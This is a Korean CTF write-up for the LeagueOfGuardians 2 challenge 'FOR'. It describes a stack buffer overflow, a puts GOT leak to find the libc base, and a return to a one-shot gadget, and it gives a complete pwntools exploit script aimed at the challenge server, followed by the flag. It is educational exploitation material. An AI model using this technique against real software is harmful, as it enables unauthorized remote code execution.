[LeagueOfGuardians 2] FOR
바이너리는 32bit이고 NX가 걸려있습니다.
main은 간단합니다. WriteReview 함수에 취약점이 있을 것 같네요.
BOF 취약점이 발생합니다.
s에 0x6C(108) + 4(SFP)만큼 dummy를 넣어주면 return address를 변조할 수 있습니다.
puts_plt로 puts_got를 Leak하고, 제공된 libc를 통해서 puts의 offset을 구해서 빼주면 libc_base를 알아낼 수 있습니다.
그리고 puts 함수는 인자가 1개이기 때문에 pr(pop ; ret)을 구해야 합니다.
pr : 0x08048379
puts_offset : 0x5f140
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 |
from pwn import *
s = remote("13.209.121.90", 4646) #s = process('./FOR') e = ELF('./FOR')
pr = 0x08048379 puts_plt = e.plt['puts'] puts_got = e.got['puts'] main = 0x804850e offset_puts = 0x5f140
#Leak libc_base payload = 'A'*112 payload += p32(puts_plt) payload += p32(pr) payload += p32(puts_got)
#Back to main payload += p32(main)
s.sendlineafter("Review : ", payload)
libc_base = u32(s.recv(4)) - offset_puts log.info("libc_base : " + hex(libc_base)) |
Leak 후 다음 공격을 진행하기 위해서 main으로 돌아왔습니다.
그럼 이제 얻은 libc_base에 oneshot gadget의 offset을 더해서 oneshot gadget의 위치를 알아냅시다.
oneshot gadget offset : 0x3a80c
Full Exploit Code:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 |
from pwn import *
s = remote("13.209.121.90", 4646) #s = process('./FOR') e = ELF('./FOR')
pr = 0x08048379 puts_plt = e.plt['puts'] puts_got = e.got['puts'] main = 0x804850e offset_puts = 0x5f140 one_shot = 0x3a80c
#Leak libc_base payload = 'A'*112 payload += p32(puts_plt) payload += p32(pr) payload += p32(puts_got)
#Back to main payload += p32(main)
s.sendlineafter("Review : ", payload)
libc_base = u32(s.recv(4)) - offset_puts log.info("libc_base : " + hex(libc_base))
#######################
#One_shot gadget payload2 = 'A'*112 payload2 += p32(libc_base + one_shot)
s.sendlineafter("Review : ", payload2) s.interactive() |
FLAG : TherEs_N0Th1n_Ho1DiN_Me_BacKKKKKKKK
'System&Write up > CTF' 카테고리의 다른 글
[LeagueOfGuardians 2] Return to Life (0) | 2018.07.24 |
---|---|
[LeagueOfGuardians 2] register_you (0) | 2018.07.24 |
[Codegate 2016] watermelon (0) | 2018.06.03 |
[Codegate 2018] catshop (0) | 2018.04.08 |
[Codegate 2018] DaysNote (0) | 2018.04.08 |